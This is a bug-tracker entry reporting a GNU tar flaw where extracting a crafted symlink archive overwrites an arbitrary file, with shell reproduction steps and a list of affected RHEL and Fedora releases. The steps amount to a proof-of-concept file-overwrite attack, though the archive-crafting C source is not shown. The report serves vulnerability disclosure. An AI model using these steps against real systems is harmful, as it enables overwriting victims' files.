+++ This bug was initially created as a clone of Bug #216937 +++

Description of problem:

GNU tar contains a flaw, that makes tar overwrite an arbitrairy file when
extracting a crafted archive.

See the original advisory for details.

Steps to Reproduce:

#TAR=/usr/src/redhat/BUILD/tar-1.13.25/src/tar
TAR=tar

# crafting a symlink

gcc -o tarxyz tarxyz.c
./tarxyz > xyz.tar

# cleaning environment up

rm -f/home/$USER/hello.txt
rm -f xyz

# adding files, relative to xyz/

mkdir -p xyz/home/$USER
echo "Hello" > xyz/home/$USER/hello.txt
tar -rf xyz.tar xyz/home/$USER

# exploitation

rm -rf xyz      # so symlink to / can be created
$TAR -xf xyz.tar
cat /home/$USER/hello.txt

Additional info:

All supported RHEL (2.1--4) and FC (5,6) releases are vulnerable